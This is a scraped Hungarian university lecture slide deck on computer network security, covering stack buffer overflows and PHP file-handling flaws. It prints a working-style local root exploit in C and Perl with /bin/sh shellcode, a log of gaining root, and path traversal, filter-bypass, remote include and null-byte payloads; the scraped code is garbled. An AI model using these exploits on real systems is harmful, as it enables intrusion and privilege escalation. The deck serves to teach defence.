Szmtgpes Hlzatok II Szchenyi Istvn Egyetem Szchenyi Isvn

  • Slides: 21
Download presentation
Számítógépes Hálózatok II Széchenyi István Egyetem Széchenyi Isván Egyetem Számítógépes hálózatok II 1

Számítógépes Hálózatok II Széchenyi István Egyetem Széchenyi Isván Egyetem Számítógépes hálózatok II 1

Programhibák • Környezeti változó • Temp fájl/könyvtár hibás kezelése • I/O hiba A fent

Programhibák • Környezeti változó • Temp fájl/könyvtár hibás kezelése • I/O hiba A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét Széchenyi Isván Egyetem Számítógépes hálózatok II 2

I/O kezelés • Ellenőrzött INPUT!! • Ellenőrzött OUTPUT!! • Input adat megfelelő kezelése, memóriában

I/O kezelés • Ellenőrzött INPUT!! • Ellenőrzött OUTPUT!! • Input adat megfelelő kezelése, memóriában való mozgatása Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai Széchenyi Isván Egyetem Számítógépes hálózatok II 3

Stack Overflow • Hiba alapja a nem megfelelő memóriamozgatás • Segítségével bármilyen kód végrehajtható

Stack Overflow • Hiba alapja a nem megfelelő memóriamozgatás • Segítségével bármilyen kód végrehajtható • Kihasználásához speciális körülmények szükségesek A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben. Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával Széchenyi Isván Egyetem Számítógépes hálózatok II 4

Stack Overlow alapok • • • Memória felépítés (Verem, kód, adat szegmens) Verem felépítése,

Stack Overlow alapok • • • Memória felépítés (Verem, kód, adat szegmens) Verem felépítése, működése (LIFO) Milyen adatok vannak a veremben? • átmeneti adatok • környezeti változók, paraméterek • rendszerváltozók • ugrási táblázatok…. Széchenyi Isván Egyetem Számítógépes hálózatok II 5

Széchenyi Isván Egyetem Számítógépes hálózatok II 6

Széchenyi Isván Egyetem Számítógépes hálózatok II 6

Fontosabb regiszterek • ESP (Stack Pointer, x 86 architektúrán a stack tetejére mutat) •

Fontosabb regiszterek • ESP (Stack Pointer, x 86 architektúrán a stack tetejére mutat) • EBP (függvények helyi változói, paraméterek, visszatérési cím(!!)) • EIP (köv. végrehajtandó byte(!!)) A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket Széchenyi Isván Egyetem Számítógépes hálózatok II 7

Hiba kihasználása • Etikus/etikátlan • Shellcode (kritériumok) • Esély növelése (NOP) Széchenyi Isván Egyetem

Hiba kihasználása • Etikus/etikátlan • Shellcode (kritériumok) • Esély növelése (NOP) Széchenyi Isván Egyetem Számítógépes hálózatok II 8

Hackeljünk! Széchenyi Isván Egyetem Számítógépes hálózatok II 9

Hackeljünk! Széchenyi Isván Egyetem Számítógépes hálózatok II 9

Hibás példaprogram #include <stdio. h> int main(int argc, char **argv){ char buf[256]; if(argc <

Hibás példaprogram #include <stdio. h> int main(int argc, char **argv){ char buf[256]; if(argc < 2) { printf("Usage: %s <overflowbuffer>n", argv[0]); exit(-1); } strcpy(buf, argv[1]); /* Boooom */} } Széchenyi Isván Egyetem Számítógépes hálózatok II 10

Biztonsági Audit C nyelven /* c 0 d. Ed b. Y Depth f. R

Biztonsági Audit C nyelven /* c 0 d. Ed b. Y Depth f. R 0 m HB S 3 Cur. Ty t. EAm*/ #include<stdio. h> #include<stdlib. h> #define NOP 0 x 90 #define LEN 2048 #define RET 0 xbffff 000 //0 xbffffd 18 int main(int argc, char **argv){ char shellcode[]="xebx 1 dx 5 ex 29xc 0x 88x 46x 07x 89x 46x 0 cx 89x 76x 08„ "xb 0x 0 bx 87xf 3x 8 dx 4 bx 08x 8 dx 53x 0 cxcdx 80x 29xc 0„ "x 40xcdx 80xe 8xdexffxff/bin/sh"; char buffer[LEN]; long addr = RET; int i; addr+=atoi(argv[1]); for(i=0; i<(LEN - sizeof(shellcode)); i++){ *(buffer+i)=NOP; } for(i=0; i<300; i+=4){ *(long *)&buffer[i]= addr; } memcpy(buffer+(LEN-sizeof(shellcode)), shellcode, sizeof(shellcode)); execl(". /test 1", "HBST exploit", buffer, 0); return 0; } Széchenyi Isván Egyetem Számítógépes hálózatok II 11

Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode

Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode = "xebx 1 dx 5 ex 29xc 0x 88x 46x 07x 89x 46x 0 c"; $shellcode. ="x 89x 76x 08xb 0x 0 bx 87xf 3x 8 dx 4 bx 08x 8 d"; $shellcode. = "x 53x 0 cxcdx 80x 29xc 0x 40xcdx 80xe 8xde"; $shellcode. = "xffxff/bin/sh"; $nop= "x 90"; $ret= 0 xbffff 000; $len=2048; $new_ret=pack("l", ($ret + $ARGV[0])); for ($i=0; $i<$len; $i+=4) { $buffer. = $new_ret; } for($i=0; $i< $len - length($shellcode)-100; $i++){ $buffer. = $nop; } $buffer. = $shellcode; exec(". /test 1", $buffer, 0); Széchenyi Isván Egyetem Számítógépes hálózatok II 12

Hiba kihasználása srv-halx: /tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx: /tmp$ for i in `seq

Hiba kihasználása srv-halx: /tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx: /tmp$ for i in `seq 200 500`; do. /expl 1. pl $i; done …………… Trace/breakpoint trap Illegal instruction Segmentation fault Illegal instruction Trace/breakpoint trap Illegal instruction sh-2. 05 a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup) sh-2. 05 a# Széchenyi Isván Egyetem Számítógépes hálózatok II 13

Webes biztonság Problémák: • Nagy, összetett rendszerek • Nem ellenőrzött INPUT • Nem megfelelő

Webes biztonság Problémák: • Nagy, összetett rendszerek • Nem ellenőrzött INPUT • Nem megfelelő jogosultságok • Biztonság alapvető hiánya A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók Széchenyi Isván Egyetem Számítógépes hálózatok II 14

Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: www. akarmi. hu/index. php? fajl=adatok. txt <?

Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: www. akarmi. hu/index. php? fajl=adatok. txt <? php …. fopen($HTTP_GET_VARS['fajl'], "a"); …… ? > Az adatok. txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nek Joga van. Széchenyi Isván Egyetem Számítógépes hálózatok II 15

Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: www. akarmi. hu/index. php? fajl=adatok. txt

Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: www. akarmi. hu/index. php? fajl=adatok. txt <? php $file = '/var/www/'. $HTTP_GET_VARS['fajl]; fopen($file, "a"); ? > www. akarmi. hu/index. php? fajl=. . /file_amit_akarok Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése Széchenyi Isván Egyetem Számítógépes hálózatok II 16

Könyvtárak, fájlok hibás kezelése III <? php $grep_file = preg_replace("/. . //i", '', $HTTP_GET_VARS['fajl']);

Könyvtárak, fájlok hibás kezelése III <? php $grep_file = preg_replace("/. . //i", '', $HTTP_GET_VARS['fajl']); $file = '/files/include/'. $grep_file; fopen($file, "a"); ? > Preg_replace() függvény kiszűri a. . / karaktereket a fájlnévből. Trükk: …/…//file_amit_akarok Átalakítás: . . . / ->. …// ->. / Széchenyi Isván Egyetem Számítógépes hálózatok II 17

Saját script futtatása Probléma: www. akarmi. hu/index. php? inc_text=oldal. php A probléma kihasználásának feltételei:

Saját script futtatása Probléma: www. akarmi. hu/index. php? inc_text=oldal. php A probléma kihasználásának feltételei: • egy szerver, melyen nincs php futtatási lehetőség • saját script Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségével Akár Adminisztrátori szintre is lehet törni a célszervert. Széchenyi Isván Egyetem Számítógépes hálózatok II 18

NULL byte • Hexában %00 • Mit jelenthet? (gondoljunk a C programozásra) Csak a

NULL byte • Hexában %00 • Mit jelenthet? (gondoljunk a C programozásra) Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni: <? php $file = $HTTP_GET_VARS['fajl']; $file = $file. '. txt'; fopen($file, 'r'); ? > www. valami. hu/index. php? fajl=adatok. txt index. php%00. txt // index. php forrása!! Széchenyi Isván Egyetem Számítógépes hálózatok II 19

Befejezés? • Törekedjünk legalább a minimális biztonságra • A lista nem teljes… • Biztos,

Befejezés? • Törekedjünk legalább a minimális biztonságra • A lista nem teljes… • Biztos, hogy hozzánk nem törtek be? Széchenyi Isván Egyetem Számítógépes hálózatok II 20

Köszönöm a figyelmet Széchenyi Isván Egyetem Számítógépes hálózatok II 21

Köszönöm a figyelmet Széchenyi Isván Egyetem Számítógépes hálózatok II 21